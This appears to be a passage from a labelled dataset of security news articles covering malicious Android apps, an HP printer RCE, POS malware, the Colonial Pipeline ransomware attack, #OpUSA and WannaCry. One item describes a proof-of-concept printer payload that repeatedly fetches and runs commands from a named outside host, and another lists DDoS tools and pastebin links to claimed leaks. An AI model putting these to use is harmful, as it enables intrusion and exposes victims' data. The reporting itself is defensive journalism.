The four apps found free in the app store that came packaged with a premium SMS scam that dubbed as ""Easy Hairdos"", ""Abs Diets"", ""Workout Routines"" and ""Cupcake Recipes"" and are among the malicious apps available for free download on Google Play store.

From the above app, say if 'Abs Diet' has been installed on your phone and once the user has accepted the terms and conditions of the service, the app displays a series of tips to reduce abdominal fat and then without the user's knowledge, the app looks for the phone number of the mobile device, connects to a Web page and signs the victim up to a premium SMS subscription service.

""Without the user knowledge the app will get the phone number of the device, will go to a website and will register it to a premium SMS service. This service requires a confirmation to be activated, which means it sends an SMS to that number with a PIN code, which have to be entered back to end the process and start changing you money,"" states the blog post.
""This app waits for that specific message; once it arrives, it intercepts its arrival, parses it, takes the PIN number and confirms your interest in the service. Then it removes it, no notification is shown in the terminal and the SMS is not shown anywhere. Again, all this is done without the user knowledge.""

But the question is from where this app acquired the telephone number?
In this case, the app steals your phone number from one of the most popular mobile apps in the world, WhatsApp. As you probably remember, the first time when you have installed WhatsApp on your phone, you were asked to provide your mobile phone number. The popular messaging app uses this number, among other things, as an identifier to synchronize with WhatsApp.
According to Google Play Store this app has between 50,000 and 100,000 downloads. So I think your math is enough to calculate the affected users' parameters.

The researchers at Panda Labs estimated that the average scammed user gets charged $20 by these apps and somewhere between 300,000 and 1,200,000 users downloaded them, so it is guessed that the scammers could have made between $6 million and $24 million from unsuspecting users.

It's not at all surprising that Google play store, that has a huge number of lists of apps, contains some malware affected apps, but this new surge of malware has hit the Google's play store which has infected over 300,000 Android users.

So, users are advised to always carefully read the permissions while installing every app to their phones and if any app that seeks to read SMS and want to connect to the Internet but accordingly such connection is not really needed, then Do Not Install It.

",Malware
Remotely Exploitable Flaw Found In HP Enterprise Printers—Patch Now,https://thehackernews.com/2017/11/hp-printer-hacking.html,"Security researchers have discovered a potentially dangerous vulnerability in the firmware of various Hewlett Packard (HP) enterprise printer models that could be abused by attackers to run arbitrary code on affected printer models remotely.

The vulnerability (CVE-2017-2750), rated as high in severity with 8.1 CVSS scale, is due to insufficiently validating parts of Dynamic Link Libraries (DLL) that allows for the potential execution of arbitrary code remotely on affected 54 printer models.

The security flaw affects 54 printer models ranging from HP LaserJet Enterprise, LaserJet Managed, PageWide Enterprise and OfficeJet Enterprise printers.

This remote code execution (RCE) vulnerability was discovered by researchers at FoxGlove Security when they were analyzing the security of HP's MFP-586 printer (currently sold for $2,000) and HP LaserJet Enterprise M553 printers (sold for $500).

According to a technical write-up posted by FoxGlove on Monday, researchers were able to execute code on affected printers by reverse engineering files with the "".BDL"" extension used in both HP Solutions and firmware updates.
""This (.BDL) is a proprietary binary format with no publicly available documentation,"" researchers said. ""We decided that reverse engineering this file format would be beneficial, as it would allow us to gain insight into exactly what firmware updates and software solutions are composed of.""
Since HP has implemented the signature validation mechanism to prevent tampering with the system, the researchers failed to upload a malicious firmware to the affected printer.

However, after some testing researchers said that ""it may be possible to manipulate the numbers read into int32_2 and int32_3 in such a way that the portion of the DLL file having its signature verified could be separated from the actual executable code that would run on the printer.""

The researchers were able to bypass digital signature validation mechanism for HP software ""Solution"" package and managed to add a malicious DLL payload and execute arbitrary code.

FoxGlove Security has made the source code of the tools used during its research available on GitHub, along with the proof-of-concept (PoC) malware payload that could be remotely installed on the printers.

The actions performed by their proof of concept malware are as follows:
It downloads a file from http[://]nationalinsuranceprograms[.]com/blar
Executes the command specified in the file on the printer
Waits for 5 seconds
Repeat
FoxGlove Security reported this remote code execution vulnerability to HP in August this year, and the vendor fixed the issue with the release of new firmware updates for its business and enterprise printers.

To download the new firmware update, visit the HP website in your web browser, and select Support from the top of the page and select Software & drivers. Now, enter the product name or model number in the search box, then scroll down in the search results to firmware and download the necessary files.

",Vulnerability
XSS Vulnerability discovered on Paypal,https://thehackernews.com/2012/03/xss-vulnerability-discovered-on-paypal.html,"XSS Vulnerability discovered on Paypal

Vansh and Vaibhuv two Indian Hacker found a XSS vulnerability in world famous site Paypal. Paypal is affected by an XSS vulnerability where it fails to validate input. One can add arbitrary javascript with no need for any filter evasion.

This is a serious security issue, with potential implications that are only starting to be understood. However, it is critical to realize that this problem does not expose any way to break into the server itself. What it allows is for malicious attackers to potentially take control of the interaction between a user and a website. It is likely that the most serious thing that an attacker can potentially do in this situation is change how a page appears to a particular user.

Also Read : Kevin Mitnick's website open to Cross-Site Scripting ( XSS ) vulnerability

",Vulnerability
Tor-enabled Point-of-Sale malware 'ChewBacca' stole Credit Card data from 11 Countries,https://thehackernews.com/2014/01/tor-enabled-point-of-sale-malware.html,"After the massive data breaches at U.S retailers Target and Neiman Marcus in which financial credentials of more than 110 million and 1.1 million customers were compromised respectively, shows that the Point of Sale (POS) system has become a new target for the cyber criminals.

Despite the BlackPOS malware of Point of Sale (POS) system that comes out as the major cause of these data breaches, malware writers are upgrading and developing more Trojans to target POS system.

In December, the security researchers at anti-virus firm Kaspersky Lab discovered a Tor-based banking trojan, dubbed ""ChewBacca""_x0081_, that was initially categorized as a Financial trojan, but recently security researchers at RSA have uncovered that 'ChewBacca' is also capable of stealing credit card details from point of sale systems.

'ChewBacca', a relatively new and private Trojan, used in the 11 countries as a POS malware is behind the electronic theft. ChewBacca communicates with its C&C (Command and Control) server over the Tor network obscuring the IP addresses of parties.

ChewBacca steals data from the POS system in two ways:
Generic keylogger that captures all the keystrokes.
Memory scanner that reads process memory and dumps the credit card details.
The botnet has been collecting track 1 and track 2 data of payment card since October 25, according to RSA.
During installation, ChewBacca creates a copy of itself as a file named ""spoolsv.exe""and place it in the windows Start > Startup folder, so that it can automatically start-up at the login time.

After installation, the keylogger program creates a log file called ""system.log"" inside the system %temp% folder that contains the keystroke events along with the window focus changes.
""The ChewBacca Trojan appears to be a simple piece of malware that, despite its lack of sophistication and defense mechanisms, succeeded in stealing payment card information from several dozen retailers around the world in a little more than two months.""
Neither the RSA nor the Kaspersky descriptions explain how the ChewBacca bot is propagated, but the RSA investigation has observed it mostly in the US and also detected in 10 other countries, including Russia, Canada and Australia.
The RSA has provided the data to the FBI on the ChewBacca operation, including the location of a command-and-control server used by the hackers.

They advised retailers to increase staffing levels and develop leading-edge capabilities to detect and stop attackers (comprehensive monitoring and incident response), encrypt or tokenize data at the point of capture and ensure that it is not in plain text view on their networks, thereby shifting the risk and burden of protection to the card issuers and their payment processors.

",Data_Breaches
U.S. Declares Emergency in 17 States Over Fuel Pipeline Cyber Attack,https://thehackernews.com/2021/05/us-declares-emergency-in-17-states-over.html,"The ransomware attack against Colonial Pipeline's networks has prompted the U.S. Federal Motor Carrier Safety Administration (FMCSA) to issue a regional emergency declaration in 17 states and the District of Columbia (D.C.).
The declaration provides a temporary exemption to Parts 390 through 399 of the Federal Motor Carrier Safety Regulations (FMCSRs), allowing alternate transportation of gasoline, diesel, and refined petroleum products to address supply shortages stemming from the attack.
""Such [an] emergency is in response to the unanticipated shutdown of the Colonial pipeline system due to network issues that affect the supply of gasoline, diesel, jet fuel, and other refined petroleum products throughout the Affected States,"" the directive said. ""This Declaration addresses the emergency conditions creating a need for immediate transportation of gasoline, diesel, jet fuel, and other refined petroleum products and provides necessary relief.""
The states and jurisdictions affected by the pipeline shut down and included in the Emergency Declaration are Alabama, Arkansas, District of Columbia, Delaware, Florida, Georgia, Kentucky, Louisiana, Maryland, Mississippi, New Jersey, New York, North Carolina, Pennsylvania, South Carolina, Tennessee, Texas, and Virginia.
The exemptions, which aim to alleviate any supply disruptions that may arise as a result of Colonial halting its pipeline operations, are expected to be in effect until the end of the emergency or June 8, 2021, 11:59 p.m., whichever is earlier.
FBI Confirms DarkSide Ransomware
The development comes as the U.S. Federal Bureau of Investigation (FBI) confirmed the shutdown of one of the country's largest pipelines over the weekend was orchestrated by Darkside ransomware. The cyberattack forced the company to shut down 5,500 miles of fuel pipeline from the Texas city of Houston to New York harbor, raising concerns about the vulnerability of the U.S. energy infrastructure to cyberattacks.
""Colonial Pipeline is continuing to work in partnership with third-party cybersecurity experts, law enforcement, and other federal agencies to restore pipeline operations quickly and safely,"" Colonial Pipeline said in a statement. ""While this situation remains fluid and continues to evolve, the Colonial operations team is executing a plan that involves an incremental process that will facilitate a return to service in a phased approach.""
While the U.S. government on Monday said there was no evidence to imply that Russia was involved in the Colonial Pipeline ransomware attack, the operators of the DarkSide ransomware issued a statement on their dark web extortion site, pledging it intends to vet the companies its affiliates are targeting going forward to ""avoid social consequences in the future.""
""We are apolitical, we do not participate in geopolitics, do not need to tie us with a defined government and look for other our motives,"" the cybercrime gang said, adding, ""Our goal is to make money, and not creating problems for society.""
DarkSide as Carbon Spider's Ransomware campaign
The adversary, which is alleged to have leaked data pertaining to at least 91 organizations since commencing operations in August 2020, functions as a ransomware-as-a-service (RaaS) scheme, in which partners are roped in to expand the criminal enterprise by breaching corporate networks and deploying the ransomware, while the core developers take charge of maintaining the malware and payment infrastructure. Affiliates typically receive 60% to 70% of the proceeds, and the developers earn the rest.
Among the victims whose internal data was published on the DarkSide's data leak site are other oil and gas companies such as Forbes Energy Services and Gyrodata, both of which are based in Texas. According to Crowdstrike, DarkSide is believed to be the handiwork of a financially-motivated threat actor called Carbon Spider (aka Anunak, Carbanak, or FIN7), whose high-level manager and systems administrator was recently sentenced to 10 years in prison in the U.S.
""The DarkSide group is a relatively new player in the game of ransomware. Despite being a new group, though, the DarkSide team has already built itself quite a reputation for making their operations more professional and organized,"" Cybereason researchers said last month. ""The group has a phone number and even a help desk to facilitate negotiations with victims, and they are making a great effort at collecting information about their victims – not just technical information about their environment, but more general information about the company itself, like the organization's size and estimated revenue.""
Stating that the RaaS variant is the latest product to join the growing trend of ransomware professionalization, cybersecurity firm Digital Shadows called out DarkSide's history of issuing corporate-style press releases on its Tor domain, labeling its business model a ""ransomware-as-a-corporation"" (RaaC).
The Colonial Pipeline incident is the latest cyberattack to confront the U.S. government in recent months, following the SolarWinds hacks by Russian intelligence operatives and the exploitation of Microsoft Exchange Server vulnerabilities by Chinese threat actors.
""To take down extensive operations like the Colonial pipeline reveals a sophisticated and well-designed cyberattack,"" Check Point's Head of Threat Intelligence, Lotem Finkelsteen, said. ""This attack also requires a proper time frame to allow lateral movement and data exhilaration. The Darkside is known to be part of a trend of ransomware attacks that involve systems the cyber community rarely sees involved in the compromised network, like ESXi servers. This leads to suspicions that ICS network (critical infrastructure systems) were involved.""
Update: Following the DarkSide ransomware attack that forced Colonial to stop the flow of fuel through its pipelines over the weekend, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Tuesday published a new advisory urging business to follow security best practices to prevent disruptions, including implementing robust network segmentation between IT and OT networks; regularly testing manual controls; and ensuring that backups are periodically taken and isolated from network connections.
""CISA and the FBI do not encourage paying a ransom to criminal actors,"" the agency said. ""Paying a ransom may embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or may fund illicit activities. Paying the ransom also does not guarantee that a victim's files will be recovered.""

",Cyber_Attack
TalkTalk Hacked; 4 Million Credit Card Profiles may have been Stolen,https://thehackernews.com/2015/10/talktalk-data-breach.html,"TalkTalk, one of the biggest UK-based phone and Internet service provider with more than 4 Million customers, has been hacked again, the company announced late Thursday.

TalkTalk is informing its 4 million customers that it has fallen victim to a ""significant and sustained cyber attack"" and it is possible that sensitive data including bank details have been stolen.

In February, TalkTalk suffered a major data breach in which its customer details were stolen and misused by scammers to access additional information as well as steal considerable amount of money.

What data might have been Exposed?

According to the company, potentially all of its 4 Million customers could be affected by the data breach.

However, TalkTalk hasn't specified exactly what kind of data was stolen from its servers, but says that the systems accessed by hackers contained information including:
Credit card details and/or bank details
Full names
Postal addresses
Dates of birth
Email addresses
Telephone numbers
TalkTalk accounts information

The company has admitted that ""not all of the data was encrypted,"" which means that the hackers could easily access some of the user data — which also includes their bank details and email addresses.

In a statement, TalkTalk said the Metropolitan Cyber Crime Unit has launched a criminal investigation ""following a significant and sustained cyber attack on [their] website.""

What kind of attack was it, and when did it happen?

The cyber attack on its servers took place on Wednesday, and the telecom said it took all its website down when it noticed some unusual activities on its website.
TalkTalk website was unavailable last night, displaying a message: ""Sorry we are currently facing technical issues, [and] our engineers are working hard to fix it. We apologise for any inconvenience this may cause.""
The internet provider assured its customers that the company did so in an ""effort to protect [its users] data"".

BBC reported that TalkTalk's website was targeted by a distributed denial of service attack or DDoS attack — overwhelming servers with a flood of traffic.

However, DDoS on its own is not capable of handing over the hacker access to internal data.

What Should You Do Now?

All TalkTalk customers are highly recommended to change their passwords as soon as possible and keep an eye on their bank accounts over the next few months.

If you come across any fraudulent activity, report to their bank or Action Fraud, the UK's fraud reporting centre.

Customers should also be vigilant to unrequested calls asking for their personal details or account passwords, as the firm emphasises that it ""never call customers and ask [them] to provide bank details.""

Customers should also particularly be alert of the Phishing emails, which are usually the next step of cyber criminals after a large-scale hack at any telecoms company. Phishing is designed to trick users into giving up further personal details like passwords.

",Data_Breaches
Critical Zero-day Vulnerability in Adobe Reader,https://thehackernews.com/2011/12/critical-zero-day-vulnerability-in.html,"Critical Zero-day Vulnerability in Adobe Reader

Researchers at the Lockheed Martin Computer Incident Response Team (CRT) and members of the Defense Security Information Exchange informed Adobe that their products were being exploited by hackers.

The exploit affects all versions of Adobe Reader and Adobe Acrobat 9.x and higher, including Adobe Reader X and Adobe Acrobat X (10.1.1) for Windows, Macintosh, and UNIX.

""This U3D memory corruption vulnerability (CVE-2011-2462) could cause a crash and potentially allow an attacker to take control of the affected system,"" wrote Adobe in their incident report, explaining that this essentially a memory-corruption and privilege escalation exploit. ""There are reports that the vulnerability is being actively exploited in the wild in limited, targeted attacks against Adobe Reader 9.x on Windows. Adobe Reader X Protected Mode and Acrobat X Protected View mitigations would prevent an exploit of this kind from executing.""

According to a blog post on the subject, Adobe has published that they are currently engineering a fix for the issue and expect to make it available for Windows version Adobe Reader 9.x and Acrobat 9.x no lager than December 12, 2011. Adobe Acrobat and Reader X have much more sufficient protected mode capabilities so Adobe believes that it is hardened enough to avoid the exploit, so a fix to that will not be coming until January 10, 2012.

Macintosh and UNIX will wait as they're much more difficult to exploit. However, the exploit has already been seen active in the wild and it is expected that it's being used by criminal and espionage organizations to attempt to infiltrate defense corporations and others.

",Vulnerability
New Chrome 0-day Under Active Attacks – Update Your Browser Now,https://thehackernews.com/2020/10/chrome-zeroday-attacks.html,"Attention readers, if you are using Google Chrome browser on your Windows, Mac, or Linux computers, you need to update your web browsing software immediately to the latest version Google released earlier today.
Google released Chrome version 86.0.4240.111 today to patch several security high-severity issues, including a zero-day vulnerability that has been exploited in the wild by attackers to hijack targeted computers.
Tracked as CVE-2020-15999, the actively exploited vulnerability is a type of memory-corruption flaw called heap buffer overflow in Freetype, a popular open source software development library for rendering fonts that comes packaged with Chrome.
The vulnerability was discovered and reported by security researcher Sergei Glazunov of Google Project Zero on October 19 and is subject to a seven-day public disclosure deadline due to the flaw being under active exploitation.
Glazunov also immediately reported the zero-day vulnerability to FreeType developers, who then developed an emergency patch to address the issue on October 20 with the release of FreeType 2.10.4.
Without revealing technical details of the vulnerability, the technical lead for Google's Project Zero Ben Hawkes warned on Twitter that while the team has only spotted an exploit targeting Chrome users, it's possible that other projects that use FreeType might also be vulnerable and are advised to deploy the fix included in FreeType version 2.10.4.
""While we only saw an exploit for Chrome, other users of freetype should adopt the fix discussed here: https://savannah.nongnu.org/bugs/?59308 -- the fix is also in today's stable release of FreeType 2.10.4,"" Hawkes writes.
According to details shared by Glazunov, the vulnerability exists in the FreeType's function ""Load_SBit_Png,"" which processes PNG images embedded into fonts. It can be exploited by attackers to execute arbitrary code just by using specifically crafted fonts with embedded PNG images.
""The issue is that libpng uses the original 32-bit values, which are saved in `png_struct`. Therefore, if the original width and/or height are greater than 65535, the allocated buffer won't be able to fit the bitmap,"" Glazunov explained.
Glazunov also published a font file with a proof-of-concept exploit.
Google released Chrome 86.0.4240.111 as Chrome's ""stable"" version, which is available to all users, not just to opted-in early adopters, saying that the company is aware of reports that ""an exploit for CVE-2020-15999 exists in the wild,"" but did not reveal further details of the active attacks.
Besides the FreeType zero-day vulnerability, Google also patched four other flaws in the latest Chrome update, three of which are high-risk vulnerabilities—an inappropriate implementation bug in Blink, a use after free bug in Chrome's media, and use after free bug in PDFium—and one medium-risk use after free issue in browser's printing function.
Although the Chrome web browser automatically notifies users about the latest available version, users are recommended to manually trigger the update process by going to ""Help → About Google Chrome"" from the menu.

",Vulnerability
AVG Antivirus Plans to Collect & Sell Your Personal Data to Advertisers,https://thehackernews.com/2015/09/avg-antivirus.html,"We at The Hacker News are big fans of Security Software – The first thing we install while setting our Computers and Devices.

Thanks to Free Security Software that protects Internet users without paying for their security.

But, Remember: Nothing comes for FREE

""Free"" is just a relative term, as one of the world's most popular anti-virus companies is now admitting.

Czech Republic-based antivirus company AVG has announced its privacy policy in which the company openly admits that it will collect and sell users' data to online advertisers for the purpose of making money from its free antivirus software.

This new policy, which will come into effect on October 15, clearly explains that AVG will be allowed to collect and sell users' ""non-personal data"" in order to ""make money from our free offerings so we can keep them free.""

Have a Look on Your Data AVG wants to Sell

Here's the list of, what AVG calls, ""non-personal data"" the company claims to collect from its customers and sell to interested third-parties, specifically online advertisers:
Browsing History,
Search History,
Meta-data,
Advertising ID associated with your device,
Internet Service Provider (ISP) or Mobile Network you use to connect to AVG products,
Information regarding other apps you have on your device.
Previous policies allowed the firm to only collect:
Data on ""the words you search"",
Information about any malware on the users' machine.

Collaborators will Get your Personal Data for Free

However, announcing its new policy, the firm has mentioned that it will not sell any personal data related to its customers, including name, email addresses, residential addresses, or credit card details (but these data might sometimes leak inside the browsing history).

At this point, AVG claims that the company will filter out users' personal details from the browsing history before selling it to the third-parties, but also adds that user's personally identifiable data like addresses, age, or IPs may sometimes be shared with collaborators.

The company has published a blog post along with the full privacy policy, so you can read it and decide by yourself if you want to use its services or not.

Let us know what you decided in the comment below.

",Data_Breaches
"Researchers unearth a huge botnet army of 500,000 hacked routers",https://thehackernews.com/2018/05/vpnfilter-router-hacking.html,"More than half a million routers and storage devices in dozens of countries have been infected with a piece of highly sophisticated IoT botnet malware, likely designed by Russia-baked state-sponsored group.

Cisco's Talos cyber intelligence unit have discovered an advanced piece of IoT botnet malware, dubbed VPNFilter, that has been designed with versatile capabilities to gather intelligence, interfere with internet communications, as well as conduct destructive cyber attack operations.

The malware has already infected over 500,000 devices in at least 54 countries, most of which are small and home offices routers and internet-connected storage devices from Linksys, MikroTik, NETGEAR, and TP-Link. Some network-attached storage (NAS) devices known to have been targeted as well.

VPNFilter is a multi-stage, modular malware that can steal website credentials and monitor industrial controls or SCADA systems, such as those used in electric grids, other infrastructure and factories.

The malware communicates over Tor anonymizing network and even contains a killswitch for routers, where the malware deliberately kills itself.

Unlike most other malware that targets internet-of-things (IoT) devices, the first stage of VPNFilter persists through a reboot, gaining a persistent foothold on the infected device and enabling the deployment of the second stage malware.

VPNFilter is named after a directory (/var/run/vpnfilterw) the malware creates to hide its files on an infected device.

Since the research is still ongoing, Talos researchers ""do not have definitive proof on how the threat actor is exploiting the affected devices,"" but they strongly believe that VPNFilter does not exploit any zero-day vulnerability to infect its victims.

Instead, the malware targets devices still exposed to well-known, public vulnerabilities or have default credentials, making compromise relatively straightforward.

Talos researchers have high confidence that the Russian government is behind VPNFilter because the malware code overlaps with versions of BlackEnergy—the malware responsible for multiple large-scale attacks targeting devices in Ukraine that the U.S. government has attributed to Russia.

Although devices infected with VPNFilter have been found across 54 countries, researchers believe the hackers are targeting specifically Ukraine, following a surge in the malware infections in the country on May 8.
""The malware has a destructive capability that can render an infected device unusable, which can be triggered on individual victim machines or en masse, and has the potential of cutting off internet access for hundreds of thousands of victims worldwide,"" Talos researcher William Largent said in a blog post.
The researchers said they released their findings prior to the completion of their research, due to concern over a potential upcoming attack against Ukraine, which has repeatedly been the victim of Russian cyber attacks, including large-scale power outage and NotPetya.

If you are already infected with the malware, reset your router to factory default to remove the potentially destructive malware and update the firmware of your device as soon as possible.

You need to be more vigilant about the security of your smart IoT devices. To prevent yourself against such malware attacks, you are recommended to change default credentials for your device.

If your router is by default vulnerable and cannot be updated, throw it away and buy a new one, it's that simple. Your security and privacy is more than worth a router's price.

Moreover, always put your routers behind a firewall, and turn off remote administration until and unless you really need it.

",Malware
Anonymous Hackers Launch #OpUSA against US Banking and Government Agencies,https://thehackernews.com/2013/05/anonymous-hackers-launch-opusa-against.html,"#OpUSA campaign is officially started, the day has come, today May 7 as announced by Anonymous, a coordinated online attack will hit Banking and government websites. The announcement made by popular group of hacktivists is creating great concerns between US security experts in charge of defense the potential targets.

The message passed sent by Anonymous to US authorities is eloquent, ""We Will Wipe You Off the Cyber Map""

A new wave of attacks, presumably distributed-denial-of-service attack, is expected to hit principal US financial institutions exactly as already happened in the last months.

The hacktivists participating to OpUSA campaign protest against the policy of the US Government blamed to have committed war crimes in foreign states and in its countries.

""Anonymous will make sure that's this May 7 will be a day to remember. On that day anonymous will start phase one of operation USA. America you have committed multiple war crimes in Iraq, Afghanistan, Pakistan, and recently you have committed war crimes in your own country,""
It's second time that collective menace the central government of a ""Big"" state, in the last months was touched to Israel during #OpIsrael campaign.

Early May the DHS has issued an alert on the attacks announce OpUSA that will target US government and financial institutions, following the key findings of the warning:

""On 7 May 2013, a group of mostly Middle East- and North Africa-based criminal hackers are preparing to launch a cyber attack campaign known as ""OpUSA"" against websites of high-profile US Government agencies, financial institutions, and commercial entities. The attacks likely will result in limited disruptions and mostly consist of nuisance-level attacks against publicly accessible webpages and possibly data exploitation. Independent of the success of the attacks, the criminal hackers likely will leverage press coverage and social media to propagate an anti-US message.""

According security experts the ongoing coordinated DDoS attacks against US organizations could have a greater impact respect the ones of the #OpIsrael campaign because the U.S. Internet infrastructure is much more dynamic, the Israeli Internet pipeline is much easier to control and close according Marc Gaffan, co-founder of online security provider Incapsula.

Ronen Kenig, researcher at security firm Radware announced that from online forum monitoring emerged that the groups involved in the attacks will be same that participated to #OpIsrael campaign.

""What we know from some of the information that has been shared in forums and other communication channels is that this is going to be very similar to what we saw in Operation Israel,"" ""The same groups are involved.""

The announcement of similar attacks gives to the security experts the opportunity to arrange a mitigation strategy to preserve the targets from the offensive, security teams are monitoring Internet traffic trying to identify anomalous traffic.

On April 24th Anonymous published a Pastebin post listing the possible targets of the #OpUSA campaign, including The White House website, at least 8 federal government websites and hundreds of U.S. Banking institutions.

Security experts are not underestimating #OpUSA to avoid to commit errors, the targeted organizations represent the financial backbone of the USA and have made meaningful investments in security to be prepared for the attacks.

Anonymous collective declared: ""You cannot stop the Internet hate machine from doxes, DNS attacks, defaces, redirects, DDoS attacks, database leaks and admin takeovers.""

The real problem is my opinion is that hacktivism is a phenomenon not negligible, the various collectives are improving the capability to coordinate their operations on global scale getting more organized and more unsettling

The principal problems related to #OpUSA are related to minor financial institutions that could be not prepared for the cyber attacks, and according many security experts also government offices could suffer similar offensives.

Within principal concerns of security expert it is the participation to the #OpUSA of the group of hackers dubbed Izz ad-Din al-Qassam Cyber Fighters that's taken credit for the series of DDoS attacks against U.S. Banks in the past eight.

The hacktivists share the same ideology of Anonymous collective and the same anger smolder against the American policy.

Dan Holden, expert at DDoS-mitigation provider Arbor Networks, commented the possible involvement of Izz ad-Din al-Qassam Cyber Fighters with the following words: ""However, the one thing that does lead me to think it's possible would be the much larger impact the attack would have with their involvement,""

""I would say that if they do become involved, that the likelihood of the attacks being successful goes way up,"" Holden adds. ""OpIsrael didn't seem to have a ton of impact, but the defensive capability outside of the banks is likely to be less, and therefore this could be used as an excuse by QCF [Izz ad-Din al-Qassam Cyber Fighters] to expand their efforts and realize a win, so to speak, given the dwindling effect many of their attacks have had lately.""

Fortunately for the targets according to a statement published a few hours ago the hackers say they're pausing Operation Ababil and will not take part to #OpUSA this week.

""As was specified in the previous statements, al-Qassam Cyber Fighters's purpose of DDoS attacks to American banks is to convey the voice of objection of Muslims towards religious and Islamic sacrilege, to the politicians, statesmen and people of America and the world,""

""Our will is to remove the links which entails illegitimate attributions to prophet of Islam(pbuh) from the Internet. Whilst respecting nations, we ask all to preserve the limits of religious sanctities and divine religions,"" they added.

""Due to the simultaneity of OpUSA with Operation Ababil, and to abstain from ambiguity in the intentions of our operation, this week we will not run any attack and so Operation Ababil will be paused during May 7-9th.""

What to expect from the operation OpUSA? According a post published by Radware in April the principal methods of attacks will include
Using common vulnerabilities to perform web site defacement and private information leakage from backend data sources.
Bandwidth saturation attacks using common Distributed Denial-Of-Service attack tools such asMobile LOIC, LOIC and HOIC.
Consumption of web server resources using ""Low and Slow"" attack tools such as Slowloris,Pyloris, R.U.D.Y – note that these attacks were shown to be using HTTPS as well as HTTP protocols.
If groups similar to Izz ad-Din al-Qassam cyber fighters join the attack campaign, we may also expect distributed attacks originating from dedicated attacking servers. These attacks could cause huge traffic peaks and will be harvesting the power of server based botnets such as Brobot (aka Itsoknoproblembro).
Following the first results:
60 American Websites Hacked By AnonGhost: https://pastebin.com/yb10T2q2
American Agent From The United States House of Representatives Hacked by Mauritania Attacker: https://pastie.org/7812604
Honolulu Police Department Hacked by X-Blackerz: https://pastebin.com/QFjuEbNR
American WebMail Server Hacked - 800 Emails Leaked by Mauritania Attacker: https://www.anonpaste.me/anonpaste2/index.php?cc2f7dd200b251a1#JIrXSFv8CCo5q2sHQKg653e/+runUxDqQLeiZOqa1Nk=
5000 Facebook Accounts Hacked By Mauritania Attacker: https://pastebin.com/NRvmnYFe
5 American Websites Hacked By X-Blackerz: https://pastie.org/7812607
We just have to wait for the storm to pass to analyze the offensive capability of Anonymous and the opposite response of the affected institutions ... of certain events such as these have a financial impact far from negligible regardless of the results of the attacks.

",Cyber_Attack
Ransomware attacks on Hospitals put Patients at Risk,https://thehackernews.com/2016/04/hospital-ransomware.html,"Just last week, the Federal Bureau of Investigation (FBI) issued an urgent ""Flash"" message to the businesses and organisations about the threat of Samsam Ransomware, but the ransomware has already wreaked havoc on some critical infrastructure.

MedStar, a non-profit group that runs 10 hospitals in the Baltimore and Washington area, was attacked with Samsam, also known as Samas and MSIL, last week, which encrypted sensitive data at the hospitals.

After compromising the MedStar Medical System, the operators of the ransomware offered a bulk deal: 45 Bitcoins (about US$18,500) for the decryption keys to unlock all the infected systems.

But unlike other businesses or hospitals, MedStar did not pay the Ransom to entertain the hackers.

So, you might be thinking that the hospitals lost all its important and critical data. Right?

But that was not the case in MedStar.

Here's How MetStar Successfully dealt with SAMSAM Ransomware

MetStar sets an example for all those businesses and organisations that pay ransom amount to attackers, motivating their criminal minds to spread the infection further.

The IT department of the MedStar Hospital was initially able to detect the intrusion in their servers and stop the Ransomware from spreading further in its internal network by shutting down most of its network operations.

Besides this, the IT engineers successfully restored three main clinical information systems from the backups (rest of the restoration process is in progress) – a practice that all organisation should follow.

This quick and active approach of hospital's IT department ultimately saved not only the hospital reputation but also the lives of admitted patients, said Ann Nickels, a spokeswoman for the nonprofit MedStar medical system.

Even though the prevention of Ransomware attack is complex, it is noticeable from the MedStar incident that the automatic backup is not an optional step but a must-follow step, to prevent these kinds of attacks.

What is Samsam and How Does it Work?

Ransomware has been around since last few years targeting businesses and organisations, but Samsam is yet the most interesting innovation of ransomware that requires no human interaction from the target.

Typical ransomware infects victim's machine by a malicious email link or attachment or a malicious advertisement. But Samsam ransomware doesn't target humans. It targets servers.

Samsam first exploits the unpatched vulnerabilities in both JBoss application servers by using JexBoss, an open-source penetration testing tool.

The hacker then uses these exploits to get remote shell access to the affected server and install Samsam onto the targeted Web application server.

Now, the hacker uses the infected server to spread the ransomware client to Windows machines and encrypt their files. Once the server is compromised, there is no communication with the command and control network.

You can find more detailed information about Samsam here.

Why Hospitals are Soft Target?

With the advent of Ransomware, we have seen an enormous growth in the malware business.

The countless transactions of Bitcoins into the dark web wallets had energized the Ransomware authors to spread and adopt new methods of infection for the higher successful rate.

Nowadays ransomware had been a soft target for both Corporates and Hospitals.

Since earlier this year, at least, a dozen hospitals have been affected by ransomware, enforcing them to pay the ransom as per the demand by freezing the central medical systems.

Technological advancement in the medical arena had digitalized patients data in the form of Electronic Medical Record (EMR) to save them into the hospital's central database.

Since the delay in patients treatment by temporary locking down their data could even result in the patient's death, the ransomware attackers seek 100% guarantee ransom by infecting hospitals.

Due to this reason, in most of the cases, hospitals generally agrees to pay the ransom amount to the attacker in order to obtain the decryption keys from the attackers.

Recently, Hollywood Presbyterian Medical Centre in Los Angeles paid US$17,000 to the ransomware attackers to (or ""intending to"") regaining access to their patient's data.

Followingly, many more hospitals like Methodist Hospital in Henderson and Kentucky, Chino Valley Medical Center and Desert Valley Hospital in California have been infected with Ransomware and became fresh victims of the ransomware attacks.

",Data_Breaches
WannaCry Ransomware: Everything You Need To Know Immediately,https://thehackernews.com/2017/05/how-to-wannacry-ransomware.html,"By now I am sure you have already heard something about the WannaCry ransomware, and are wondering what's going on, who is doing this, and whether your computer is secure from this insanely fast-spreading threat that has already hacked nearly 200,000 Windows PCs over the weekend.

The only positive thing about this attack is that — you are here — as after reading this easy-to-understandable awareness article, you would be so cautious that you can save yourself from WannaCry, as well as other similar cyber attacks in the future.

Also Read — Google Researcher Finds Link Between WannaCry Attacks and North Korea.

Since this widely spread ransomware attack is neither the first nor the last one to hit users worldwide, prevention is always the key to protect against such malware threats.

What is WannaCry? How to Protect your Computer from WannaCry Ransomware? Follow These Simple Steps.
TWEET THIS

In this article, we have provided some of the most important primary security tips that you should always follow and advised to share with everyone you care for.

What is Ransomware & Why WannaCry is More Dangerous?
(A simple video demonstrating of WannaCry Ransomware, showing how fast it spreads from system-to-system without any user Interaction)

For those unaware, Ransomware is a computer virus that usually spreads via spam emails and malicious download links; specially designed to lock up the files on a computer, until the victim pays the ransom demand, usually $300-$500 in Bitcoins.

But what makes WannaCry so unique and nasty is its ability to self-spread without even need to click any link or a file.

